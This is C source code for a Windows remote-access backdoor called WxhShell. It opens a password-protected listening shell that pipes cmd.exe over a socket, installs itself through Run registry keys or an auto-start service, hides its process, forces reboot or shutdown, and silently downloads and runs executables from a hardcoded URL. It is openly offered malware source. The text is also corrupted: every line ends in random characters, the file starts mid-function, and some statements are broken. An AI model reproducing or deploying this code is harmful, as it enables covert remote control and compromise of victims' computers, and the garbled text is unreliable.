    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JQ*CF(9  
    else { D\:~G}M  
    closesocket(wsh); sf|[oD  
    ExitThread(0); "~f=7  
    } tcg sXB/t  
    break; }b#KV?xgW  
    } FuYV}C  
  // 关机 R ks3L  
  case 'd': { XZaei\rUn)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C?FUc cI  
    if(Boot(SHUTDOWN)) #eqy!QdePf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k^pf)*p  
    else { =9oN#4mWK  
    closesocket(wsh); s -Mzl?o  
    ExitThread(0); Dl3Df u8  
    } ~6nq$(#  
    break; ]i=\5FH e  
    } kpkN GQ2  
  // 获取shell mn=G6h T}W  
  case 's': { (+Yerc.NQt  
    CmdShell(wsh); Jmln*,Ol7  
    closesocket(wsh); h5bQ  
    ExitThread(0); Xm7Nr#  
    break; HDyus5g  
  } K4vl#*qn  
  // 退出 O;qerE?i`  
  case 'x': { X9f!F2x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,R j{^-k  
    CloseIt(wsh); *Mt's[8  
    break; J`ia6fy.I  
    } /=x) 9J  
  // 离开 1RtbQ{2F;  
  case 'q': { a& Ti44a[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rZDmZm?=  
    closesocket(wsh); ,$,6%"'"  
    WSACleanup(); 29?{QJb  
    exit(1); /x6,"M[97  
    break; N U*6MT4  
        } 6'e}!O  
  } "%aJ 'l2  
  } m~fA=#l l  
7P`|wNq  
  // 提示信息 K h}Oiw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b7It8  
} Y5~_y?BX  
  } +8FlDiP  
s|U=_,.  
  return; 21$YZlhJ  
} ,X&lVv#  
9=D\xBd|w  
// shell模块句柄 pJ6Z/3]  
int CmdShell(SOCKET sock) a;Q6S  
{ -<gGNj.x-  
STARTUPINFO si; |0?h6  
ZeroMemory(&si,sizeof(si)); R=IZFwr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Cdrjx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; slV+2b  
PROCESS_INFORMATION ProcessInfo; n"dC]&G'  
char cmdline[]="cmd"; ^D(N_va<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZZf-c5 g  
  return 0; 3,8>\yf`  
} 5MH\Gq e7  
^+zF;Q'  
// 自身启动模式  _2VL%  
int StartFromService(void) 3_W1)vd{  
{ (~P b,Q  
typedef struct |?CR|xqT  
{ zg!;g`Z@S  
  DWORD ExitStatus; TOo0rcl  
  DWORD PebBaseAddress; Kb~s'cTxIO  
  DWORD AffinityMask; (yv&&Jc  
  DWORD BasePriority; O_#Ag K<A  
  ULONG UniqueProcessId; LL+ROX^M  
  ULONG InheritedFromUniqueProcessId; >A#wvQl7   
}   PROCESS_BASIC_INFORMATION; u/e-m/  
[XWY-q#Gg  
PROCNTQSIP NtQueryInformationProcess; `<Xq@\H  
#`5{?2gS9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ve2GRTO^aC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f%0^89)  
U+t|wK  
  HANDLE             hProcess; Gxu&o%x [  
  PROCESS_BASIC_INFORMATION pbi; R9o3T)9V  
jN:!V t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ycypd\q/  
  if(NULL == hInst ) return 0; 0wV!mC  
Yxye?R-:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <o^_il$W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  $j*j {}K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w#w lZ1f  
[?mDTD8zU  
  if (!NtQueryInformationProcess) return 0; Y,OSQBgk  
P g.PD,&U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6LRI~*F=3  
  if(!hProcess) return 0; HDU tLU d  
Ml` f+$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EOu\7;kE9  
6CBk,2DswI  
  CloseHandle(hProcess); L;=:OX 0  
& IVwm"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [H5TtsQ[  
if(hProcess==NULL) return 0; TN}YRXtW+  
]q DhGt  
HMODULE hMod; aJlSIw*Q,  
char procName[255]; +2!J3{[J  
unsigned long cbNeeded; zXQ o pQ1  
">]v'h(s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [Q &{#%M  
N"MuAUB:K  
  CloseHandle(hProcess); pqO}=*v@  
2Q`@lTUv  
if(strstr(procName,"services")) return 1; // 以服务启动 _4iTP$7[  
%-!ruc"}  
  return 0; // 注册表启动 TSXa#SKp  
} :SilQm*Pl  
Ml)~%ZbF  
// 主模块 'awL!P--  
int StartWxhshell(LPSTR lpCmdLine) /w0l7N  
{ O;c;>x_dA  
  SOCKET wsl; pIdJ+gu(s  
BOOL val=TRUE; |[n-H;0  
  int port=0; ^'Wkb7L  
  struct sockaddr_in door; n<6p0w  
1J<Wth{  
  if(wscfg.ws_autoins) Install(); {7 &(2Z]z  
v]|^.x:  
port=atoi(lpCmdLine); 9E^IEwq'  
`f`\j -Lu  
if(port<=0) port=wscfg.ws_port; `An`"$z  
!4cR&@[  
  WSADATA data; E\Hhi.-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {"l_x]q  
R,CFU l7Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L6yRN>5aE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ucQ2/B#'4l  
  door.sin_family = AF_INET; Mw2?U>h1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -M}#-qwf  
  door.sin_port = htons(port); ;u!qu$O  
0Qvbc}KP8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4*W ??(=j  
closesocket(wsl); PLR[nB7K  
return 1; E+Z//)1Z  
} v# ab2  
i8pM,Ppi~  
  if(listen(wsl,2) == INVALID_SOCKET) { O1IR+"0  
closesocket(wsl); =M^4T?{T  
return 1; BuMBnbT  
} Reca5r1O  
  Wxhshell(wsl); zK893)  
  WSACleanup(); R'f|1mt  
`9rwu:3i  
return 0; $wUFHEl  
(yWU9q)5  
} GFasGHAw  
b[,J-/;JNL  
// 以NT服务方式启动 y&Sl#IQ L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mDz{8N9<FG  
{ mw%do&e  
DWORD   status = 0; [<P(S~J  
  DWORD   specificError = 0xfffffff; P3 se"pP  
f3Ior.n(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P.mz$M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \G}EI|Wo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V.5gxr3QqW  
  serviceStatus.dwWin32ExitCode     = 0; d{2+> >d  
  serviceStatus.dwServiceSpecificExitCode = 0; 1P(rgn:8e  
  serviceStatus.dwCheckPoint       = 0; 9X&Xc  
  serviceStatus.dwWaitHint       = 0; &1Dq3%$c  
nPh 5(&E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T X.YTU  
  if (hServiceStatusHandle==0) return; rtf\{u9 }g  
Xwy0dXko  
status = GetLastError(); 3/V&PDC*'  
  if (status!=NO_ERROR) .w3.zZ0[  
{ vcs=!Ace  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lR[[]Yn  
    serviceStatus.dwCheckPoint       = 0; "mc/fp  
    serviceStatus.dwWaitHint       = 0; ($EA/|z  
    serviceStatus.dwWin32ExitCode     = status; t98t&YUpm  
    serviceStatus.dwServiceSpecificExitCode = specificError; |D<J9+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~*RG|4#  
    return; Br.$:g#  
  } hN*,]Z{  
0A\OZ^P8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yi*)g0M  
  serviceStatus.dwCheckPoint       = 0; c jfYE]  
  serviceStatus.dwWaitHint       = 0; TUoEk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1o\P7P Le  
} asqbLtQ  
_4F(WCco  
// 处理NT服务事件,比如:启动、停止 j\& `  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *4#)or  
{ 8o43J;mA  
switch(fdwControl) PjZsMHW%  
{ %D_2;  
case SERVICE_CONTROL_STOP: Jm&7&si7  
  serviceStatus.dwWin32ExitCode = 0; GJN"43  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0zfh:O  
  serviceStatus.dwCheckPoint   = 0; (UWWULV  
  serviceStatus.dwWaitHint     = 0; _$%.F| :  
  { | Qo`K%8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :N$^x /{  
  } vgY ) L  
  return; <uZ r.X  
case SERVICE_CONTROL_PAUSE: vw VeHjR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q qGf*  
  break; .%;`: dtj  
case SERVICE_CONTROL_CONTINUE: - ;1'{v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?145^ w  
  break; ;sd[Q01  
case SERVICE_CONTROL_INTERROGATE: 3D L7  
  break; vAWJP_;J  
}; Bfe#,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F N6 GV  
} S}6Ty2.\  
) =-$>75Z  
// 标准应用程序主函数 t}L kl(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4FURm@C6  
{ ;hb;%<xqT  
e;L++D  
// 获取操作系统版本  h>\T1PM  
OsIsNt=GetOsVer(); \d$fi*{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F]]1>w*/0  
xUl=N   
  // 从命令行安装 ?WPuTPw{  
  if(strpbrk(lpCmdLine,"iI")) Install(); {I'8+~|pZL  
FG/".dU  
  // 下载执行文件 -X+G_rY  
if(wscfg.ws_downexe) { %(lr.9.]H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Er/h:=  
  WinExec(wscfg.ws_filenam,SW_HIDE); B].V|8h  
} nmI os]B  
buV {O[  
if(!OsIsNt) { ~ 8L]!OQ9=  
// 如果时win9x,隐藏进程并且设置为注册表启动 T DOOq;+  
HideProc(); k4:$LFw@  
StartWxhshell(lpCmdLine); K|JpkEw  
} D5lzrpg_e  
else dqF]kP,VG  
  if(StartFromService()) IoO tn  
  // 以服务方式启动 BfZAK0+*$  
  StartServiceCtrlDispatcher(DispatchTable); 3 RB+  
else .j"iJ/  
  // 普通方式启动 /+^7lQo\]  
  StartWxhshell(lpCmdLine); ipzv]c&  
N{oi }i6  
return 0; ~[n]la  
} ; kPx@C   
SOE 5`  
5cj]Y)I-~  
f_A'.oq+  
=========================================== }AfX0[!O  
qw^kA?  
cGF_|1`  
wEd+Ds]$  
a#3+PB #  
A|jmp~@K)+  
" dy/\>hu  
5cahbx1"  
#include <stdio.h> r'bctFsD  
#include <string.h> l0Rjq*5hJ  
#include <windows.h> y04md A6<  
#include <winsock2.h> ~N "rr.w  
#include <winsvc.h> \S #Mc  
#include <urlmon.h> &1nZ%J9  
z+3G zDLy  
#pragma comment (lib, "Ws2_32.lib") HURr k~[  
#pragma comment (lib, "urlmon.lib") iCd$gwA>F  
Pw c)u&  
#define MAX_USER   100 // 最大客户端连接数 d^uE4F}  
#define BUF_SOCK   200 // sock buffer ,Dh+-}  
#define KEY_BUFF   255 // 输入 buffer KX8$j$yW  
FPAy.cljJ  
#define REBOOT     0   // 重启 `FS)i7-o6  
#define SHUTDOWN   1   // 关机 ?\ Fo|__  
yFt$L'#  
#define DEF_PORT   5000 // 监听端口 )?_x$GKY  
`D *U@iJ  
#define REG_LEN     16   // 注册表键长度 _8zZ.~)  
#define SVC_LEN     80   // NT服务名长度 wXUP%i]i=  
O*qSc^9q  
// 从dll定义API Ml-GAkgG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +]?/c>M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wWq(|"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jLc"1+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &Bn> YFu  
+ t%[$"$  
// wxhshell配置信息 @34Z/%A  
struct WSCFG { !+bLh W`  
  int ws_port;         // 监听端口 m .:2G  
  char ws_passstr[REG_LEN]; // 口令 h\qQ%|X  
  int ws_autoins;       // 安装标记, 1=yes 0=no (29h{=P'  
  char ws_regname[REG_LEN]; // 注册表键名 qH 1k  
  char ws_svcname[REG_LEN]; // 服务名 a4a/]q4T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <]: X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,[gu7z^|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %IAZU c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?HD eiJ kX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !u)>XS^E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |A .U~P):  
{TmrWFo  
}; n,,hE_  
#.Q3}[M  
// default Wxhshell configuration 9^yf'9S1  
struct WSCFG wscfg={DEF_PORT, a"ct"g=  
    "xuhuanlingzhe", /-C`*P=:u  
    1, RC[mpR ;2  
    "Wxhshell", <[*%d~92z  
    "Wxhshell", <n#phU Q  
            "WxhShell Service", ;JpsRf!  
    "Wrsky Windows CmdShell Service", f{i~hVF  
    "Please Input Your Password: ", 2Ra}&ie  
  1, R=7,F6.  
  "http://www.wrsky.com/wxhshell.exe", nky%Eb[\  
  "Wxhshell.exe" Re[x$rw  
    };  !' }  
Fa"/p_1  
// 消息定义模块  _%r+?I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 62-,!N 1-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *|Bu7nwg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MC'2;,  
char *msg_ws_ext="\n\rExit."; ejF GeR  
char *msg_ws_end="\n\rQuit."; NE~R&ym9  
char *msg_ws_boot="\n\rReboot..."; HQ187IwpTm  
char *msg_ws_poff="\n\rShutdown..."; n0\k(@+k  
char *msg_ws_down="\n\rSave to "; r%:Q(|v?  
X=1Po|  
char *msg_ws_err="\n\rErr!"; s%cfJe_k  
char *msg_ws_ok="\n\rOK!"; / 5\gP//9K  
7O.?I# 76  
char ExeFile[MAX_PATH]; t[r<&1[&  
int nUser = 0; ^X?D4a|;#g  
HANDLE handles[MAX_USER]; ;nSOe AF)Q  
int OsIsNt; . X:  
]J '#KT{  
SERVICE_STATUS       serviceStatus; %pJRu-D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q.}M^iDe  
+VSq[P  
// 函数声明 jV|j]m&t  
int Install(void); ~10>mg  
int Uninstall(void); },]G +L;R  
int DownloadFile(char *sURL, SOCKET wsh); $ [t7&e  
int Boot(int flag); {s{ bnU  
void HideProc(void); 4uX|2nJ2!;  
int GetOsVer(void); )qID<j#  
int Wxhshell(SOCKET wsl); $>M-oNeC  
void TalkWithClient(void *cs); ~dtS  
int CmdShell(SOCKET sock); HL`=zB%  
int StartFromService(void); :-[y`/R  
int StartWxhshell(LPSTR lpCmdLine); |_h$}~ ;  
qN=l$_UD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )01,3J>#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ UDNp.6k  
u4KP;_,m  
// 数据结构和表定义 #$dEg  
SERVICE_TABLE_ENTRY DispatchTable[] = m)1+D"z  
{ f{HjM? Mb3  
{wscfg.ws_svcname, NTServiceMain}, S - N [  
{NULL, NULL} o5(~nQ  
}; i"_@iN0N  
dSP~R  
// 自我安装 K*/X{3J;  
int Install(void) c/'Cju W  
{ + g*s%^(E  
  char svExeFile[MAX_PATH]; <Pnz$nH:e  
  HKEY key; Sb|9U8h  
  strcpy(svExeFile,ExeFile); <E&8g[x6  
$sxm MP  
// 如果是win9x系统,修改注册表设为自启动 [Yyb)Qf  
if(!OsIsNt) { L|`(u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x & ZW f?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v<AFcY   
  RegCloseKey(key); AE@N:a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ll^#I/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 *+X ^q'  
  RegCloseKey(key); ~lQ<#*wl  
  return 0; tb1w 6jaU  
    } +EOd9.X\~  
  } q(XO_1W0V  
} oro^'#ki  
else { {Q(R#$)5+  
X~VJO|k pz  
// 如果是NT以上系统,安装为系统服务 n# 4e1n+I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `Ei:Z%@7C  
if (schSCManager!=0) - %'ys  
{ F8pP(Wl  
  SC_HANDLE schService = CreateService \:5M0  
  ( =U`9_]~1c@  
  schSCManager, O/ ih9,  
  wscfg.ws_svcname, U{Xx)l/o  
  wscfg.ws_svcdisp, 8h '~*  
  SERVICE_ALL_ACCESS, z#u<]] 5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N]|P||fC  
  SERVICE_AUTO_START, AM:lU  
  SERVICE_ERROR_NORMAL, *=)kR7,]9d  
  svExeFile, Q~-MB]'  
  NULL, RQ*oTsq  
  NULL, EG#mNpxE  
  NULL, A>Y#-e;<d  
  NULL, $v\o14 v  
  NULL !?aL_{7J  
  );  K?]c  
  if (schService!=0) '\wZKY VN  
  { hhr!FQ.+/  
  CloseServiceHandle(schService); 2JR$  
  CloseServiceHandle(schSCManager); nl/~7({  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g5[r!XO  
  strcat(svExeFile,wscfg.ws_svcname); B(ZK\]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v2KK%Qy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s;Sv@=\  
  RegCloseKey(key); RA3!k&8?#  
  return 0; 3q)y;T\yW  
    } P/Zp3O H  
  } XdV(=PS!a@  
  CloseServiceHandle(schSCManager); D=_FrEM_IA  
} ^77X?nDz=h  
} )+dd  
u d$*/ )/  
return 1; LEJn 1  
} @E !`:/k  
S7kZpD $  
// 自我卸载 ;0JK>c ]#  
int Uninstall(void) e"^n^_9  
{ eZv G  
  HKEY key; uD8,E!\  
%$ ^ eY'-'  
if(!OsIsNt) { Jf3xK"in  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <c_'(   
  RegDeleteValue(key,wscfg.ws_regname); SUaXm#9  
  RegCloseKey(key); +<$b6^>!$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h/xV;oj  
  RegDeleteValue(key,wscfg.ws_regname); Kn`-5{1B|  
  RegCloseKey(key); -;RW)n^n  
  return 0; }WM!e"  
  } "]kq,j^]  
} 17) `CM$<[  
} P0O=veCf  
else { 9^2l<4^Z  
]MaD7q>+R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /=+Bc=<lZ  
if (schSCManager!=0) ~0T,_N  
{ $(N+E,XB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,cwjieM  
  if (schService!=0) +WfO2V.  
  { <-s5 ;xwtS  
  if(DeleteService(schService)!=0) { D]*<J"/]d  
  CloseServiceHandle(schService); q 7aH=dhw  
  CloseServiceHandle(schSCManager); $e/[!3CASP  
  return 0; kx6-8j3gD7  
  } /;V:<mekf  
  CloseServiceHandle(schService); b6ui&Y8z  
  } ^hyp}WN  
  CloseServiceHandle(schSCManager); :#nv:~2]  
} PsOu:`=r  
} K<~J*k<v  
^/:G`'  
return 1; 4fgYO]  
} %=<Kb\  
`#y?:s ]e  
// 从指定url下载文件 ;Vlt4,s)  
int DownloadFile(char *sURL, SOCKET wsh) [`_-;/Gx2  
{ ?a{es!  
  HRESULT hr; 9 6j*F,{  
char seps[]= "/"; dW} m44X  
char *token; tJ9-8ZT*  
char *file; x>eV$UJ  
char myURL[MAX_PATH]; bTJ l  
char myFILE[MAX_PATH]; =DLVWz/<  
 c FV3  
strcpy(myURL,sURL); ' "I-! +  
  token=strtok(myURL,seps); 7CV}QV}G  
  while(token!=NULL) S0jYk (  
  { qN@0k>11?  
    file=token; p{W'[A{J .  
  token=strtok(NULL,seps); `HV~.C  
  } 1azj%WY  
Gcp!"y=i  
GetCurrentDirectory(MAX_PATH,myFILE); :7DXLI|L#?  
strcat(myFILE, "\\"); CoTe$C7  
strcat(myFILE, file); |\6Ff/O  
  send(wsh,myFILE,strlen(myFILE),0); DQyy">]Mh  
send(wsh,"...",3,0); NsUP0B}.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Uk<2XGj  
  if(hr==S_OK) fiZq C?(  
return 0; 1# ;`1i  
else a@s@E  
return 1; ^7,`6g  
[z> Ya-uz7  
} jQ&82X%m  
Msl8o c  
// 系统电源模块 tEjT$`6hp  
int Boot(int flag) G{4lgkyy  
{ p?e-`xs  
  HANDLE hToken; 7J[s5'~|  
  TOKEN_PRIVILEGES tkp; HqoCl  
=, G^GMi'  
  if(OsIsNt) { L1u(\zw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &8M^E/#.^;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CCp&+LRvR  
    tkp.PrivilegeCount = 1; ql2O%B.6?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Fu;sR2y%:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wgFAPZr  
if(flag==REBOOT) { 29kR7[k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w3Z;&sFd  
  return 0; m$WN"kV`,9  
} U?&&yynK  
else { U2HAIV8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .u\xA7X  
  return 0; Q@5v> `  
} i2 7KuPjC  
  } P^J#;{R  
  else { &)GlLpaT  
if(flag==REBOOT) { P)rz%,VF+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _t.Ub:  
  return 0; @8"cT-  
} (c|Ry[$|  
else { =L9;8THY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f0]`TjY  
  return 0; r0j+P%  
} }/g1s71  
} _(0GAz%9  
vuO~^N]G  
return 1; =5u;\b>*  
} (8jQdbZU  
SPo}!&p$~  
// win9x进程隐藏模块 P2=u-{?~  
void HideProc(void) ew 4pAav  
{ q :-1ul  
,;~@t:!c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E%vT(Kz  
  if ( hKernel != NULL ) I W5N^J  
  { Dx>~^ ^<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *28:|blbL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [E6ZmMB&  
    FreeLibrary(hKernel); A`ScAzx5{  
  } #5=!ew  
WN3]xw3  
return; DxJY{e9  
} ,@r 0-gL  
'q, L*  
// 获取操作系统版本 NW`L6wgl  
int GetOsVer(void) SeIL   
{ 7xoq:oP-}N  
  OSVERSIONINFO winfo; K} TSwY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xF])NZy|  
  GetVersionEx(&winfo); qJYEsI2M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `z~L0h  
  return 1; 8;Eg>_cL:  
  else `PI?RU[g*  
  return 0; f}uW(:f  
} ]Yx&  
zIy&gOX  
// 客户端句柄模块 Rs;Y|W4'  
int Wxhshell(SOCKET wsl) -Ta| qQa  
{ B f"L;L  
  SOCKET wsh; S7f"\[Aw  
  struct sockaddr_in client; ve@E.`  
  DWORD myID; WdJJt2'  
r>Cv@4/j  
  while(nUser<MAX_USER) . E? a  
{ {RHa1wc  
  int nSize=sizeof(client); | rwx; +  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9MUg/  
  if(wsh==INVALID_SOCKET) return 1; p n(y4we  
3"p'WZ>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]=?.LMjnH  
if(handles[nUser]==0) ^Q5advxuq  
  closesocket(wsh); `i{p6-U3  
else !X ={a{<,T  
  nUser++; S9lT4  
  } NZ:KJ8ea"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V6 uh'2  
L#Rj~&U  
  return 0; 84f^==Y  
} -Gd@baV  
^+rI=c 0  
// 关闭 socket b3l~wp6>  
void CloseIt(SOCKET wsh) 8;5@5Au  
{ `C>De4nT@  
closesocket(wsh); LQXMGgp  
nUser--; yL"UBe}v  
ExitThread(0); %1z`/B  
} _l{_n2D-  
U_<k*o@:  
// 客户端请求句柄 Wz)@k2  
void TalkWithClient(void *cs) {I]>!V0j!  
{ Gc2:^FVlh  
` 3h,Cy^  
  SOCKET wsh=(SOCKET)cs; Zx U?d   
  char pwd[SVC_LEN]; jWcfQ  
  char cmd[KEY_BUFF]; UthM?g^  
char chr[1]; KU 98"b5  
int i,j; (65|QA   
{q.|UCg[L  
  while (nUser < MAX_USER) { 3%YDsd vQx  
6h{>U*N"&d  
if(wscfg.ws_passstr) { gX;)A|9e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xyyEaB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UKzXz0  
  //ZeroMemory(pwd,KEY_BUFF); R7 ^f|/l  
      i=0; JV@b(x`  
  while(i<SVC_LEN) { J>Bc-%.Q  
E3QyiW  
  // 设置超时 &2,^CG  
  fd_set FdRead; Hd?#^X  
  struct timeval TimeOut; -$ha@ bCWO  
  FD_ZERO(&FdRead); )| 0(#R  
  FD_SET(wsh,&FdRead); 21 N!?DR  
  TimeOut.tv_sec=8; \JBPZ~N3  
  TimeOut.tv_usec=0; rHJtNN8$k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CMC9%uq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $mcq/W   
_E8doV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g-DFcwO,V  
  pwd=chr[0];  [1g   
  if(chr[0]==0xd || chr[0]==0xa) { 2}U:6w  
  pwd=0; UX@8  
  break; FC#t}4as  
  } sPRo=LB  
  i++; D),hSqJ"  
    } tLzKM+Ct#  
A0 $ds  
  // 如果是非法用户,关闭 socket xew s~74L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); > 8%O;3-m#  
} |G(I,EPag  
Uu~~-5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); As>P(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Aga{EKd  
h=ben&m  
while(1) { 9"f  
gzEcdDD  
  ZeroMemory(cmd,KEY_BUFF); ~=gpn|@b  
g96]>]A<{  
      // 自动支持客户端 telnet标准   F&$~]R=&  
  j=0; /TY=ig1z  
  while(j<KEY_BUFF) { x bD]EC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g]jCR*]  
  cmd[j]=chr[0]; g<^-[w4/  
  if(chr[0]==0xa || chr[0]==0xd) { ->`R[k  
  cmd[j]=0; ];*? `}#  
  break; W4$F\y  
  } %6E:SI 4  
  j++; gp NAM"  
    } iHlee=}od  
Esdw^MGL2  
  // 下载文件 aPm2\Sq$  
  if(strstr(cmd,"http://")) { O:jaA3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gb}>xO  
  if(DownloadFile(cmd,wsh)) C^7M>i  
